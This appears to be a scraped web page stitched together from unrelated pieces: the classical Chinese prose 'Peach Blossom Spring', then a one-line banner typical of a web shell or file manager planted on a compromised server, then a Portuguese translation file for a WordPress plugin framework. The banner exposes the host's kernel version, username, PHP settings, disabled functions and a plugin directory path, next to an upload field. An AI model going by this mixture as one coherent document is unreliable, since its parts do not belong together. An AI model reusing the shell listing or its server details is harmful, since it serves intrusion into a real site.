晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/public_html/wp-content/plugins/uwac/adminframework/languages/ |
Upload File : |
# Copyright (C) 2015 Codestar # This file is distributed under the GPLv2 or later. msgid "" msgstr "" "Project-Id-Version: Codestar Framework 1.0.0\n" "Report-Msgid-Bugs-To: http://wordpress.org/support/plugin/cssf-framework\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: \n" "PO-Revision-Date: \n" "Last-Translator: Iolar Demartini Jr <iolardemartini@gmail.com>\n" "Language-Team: \n" "X-Generator: Poedit 1.8.1\n" "Plural-Forms: nplurals=2; plural=(n > 1);\n" "Language: pt_BR\n" #: classes/framework.class.php:176 msgid "Success. Imported backup options." msgstr "Backup importado com sucesso." #: classes/framework.class.php:181 msgid "Default options restored." msgstr "Opções padrões restauradas." #: classes/framework.class.php:200 msgid "Default options restored for only this section." msgstr "Opções padrões restauradas apenas para esta seção." #: classes/framework.class.php:363 msgid "Settings saved." msgstr "Configurações salvas." #: classes/framework.class.php:364 msgid "Save" msgstr "Salvar" #: classes/framework.class.php:364 msgid "Saving..." msgstr "Salvando..." #: classes/framework.class.php:365 msgid "Restore" msgstr "Restaurar" #: classes/framework.class.php:367 msgid "show all options" msgstr "Exibir/Ocultar Todas as Opções" #: classes/options.class.php:125 msgid "CONFIG" msgstr "CONFIG" #: classes/options.class.php:131 msgid "USAGE" msgstr "USO" #: classes/options.class.php:137 msgid "VALUE" msgstr "VALOR" #: classes/options.class.php:213 msgid "You are editing language: ( <strong>%s</strong> )" msgstr "Você está editando o idioma: ( <strong>%s</strong> )" #: classes/shortcode.class.php:82 classes/shortcode.class.php:90 #: fields/textarea/textarea.php:27 msgid "Add Shortcode" msgstr "Adicionar Shortcode" #: classes/shortcode.class.php:92 msgid "Select a shortcode" msgstr "Selecionar Shortcode" #: classes/shortcode.class.php:108 msgid "Insert Shortcode" msgstr "Inserir Shortcode" #: fields/background/background.php:31 fields/background/background.php:32 #: fields/upload/upload.php:23 fields/upload/upload.php:24 msgid "Upload" msgstr "Upload" #: fields/background/background.php:33 fields/upload/upload.php:25 msgid "Use Image" msgstr "Usar Imagem" #: fields/backup/backup.php:21 msgid "Import a Backup" msgstr "Importar Backup" #: fields/backup/backup.php:22 msgid "copy-paste your backup string here" msgstr "copiar e colar seu backup aqui" #: fields/backup/backup.php:27 msgid "Export and Download Backup" msgstr "Exportar e Baixar Backup" #: fields/backup/backup.php:28 msgid "or" msgstr "ou" #: fields/backup/backup.php:29 msgid "Reset All Options" msgstr "Redefinir Todas as Opções" #: fields/backup/backup.php:30 msgid "Please be sure for reset all of framework options." msgstr "ATENÇÃO! Isso irá substituir todas as opções salvas. Por favor, proceda com cuidado!" #: fields/gallery/gallery.php:21 msgid "Add Gallery" msgstr "Adicionar Galeria" #: fields/gallery/gallery.php:22 msgid "Edit Gallery" msgstr "Editar Galeria" #: fields/gallery/gallery.php:23 msgid "Clear" msgstr "Limpar" #: fields/group/group.php:21 msgid "Adding" msgstr "Adicionando" #: fields/group/group.php:43 fields/group/group.php:75 msgid "Remove" msgstr "Remover" #: fields/icon/icon.php:25 functions/actions.php:55 msgid "Add Icon" msgstr "Adicionar Ícone" #: fields/icon/icon.php:26 msgid "Remove Icon" msgstr "Remover Ícone" #: fields/image/image.php:22 msgid "Add Image" msgstr "Adicionar Imagem" #: fields/sorter/sorter.php:24 msgid "Enabled Modules" msgstr "Módulos Habilitados" #: fields/sorter/sorter.php:25 msgid "Disabled Modules" msgstr "Módulos Desativados" #: fields/switcher/switcher.php:20 msgid "on" msgstr "on" #: fields/switcher/switcher.php:20 msgid "off" msgstr "off" #: fields/typography/typography.php:73 msgid "Web Safe Fonts" msgstr "Fontes Seguras da Web" #: fields/typography/typography.php:79 msgid "Google Fonts" msgstr "Google Fontes" #: fields/typography/typography.php:107 functions/actions.php:30 msgid "Error! Can not load json file." msgstr "Erro! Não é possível carregar o arquivo." #: functions/actions.php:56 msgid "Search a Icon..." msgstr "Procure um Ícone..." #: functions/actions.php:57 msgid "Loading..." msgstr "Carregando…" #: functions/helpers.php:48 msgid "This field class is not available!" msgstr "Esta classe não está disponível!" #: functions/validate.php:14 msgid "Please write a valid email address!" msgstr "Por favor, digite um endereço de e-mail válido!" #: functions/validate.php:33 msgid "Please write a numeric data!" msgstr "Por favor, digite apenas números!" #: functions/validate.php:51 msgid "Fatal Error! This field is required!" msgstr "Este campo é obrigatório!"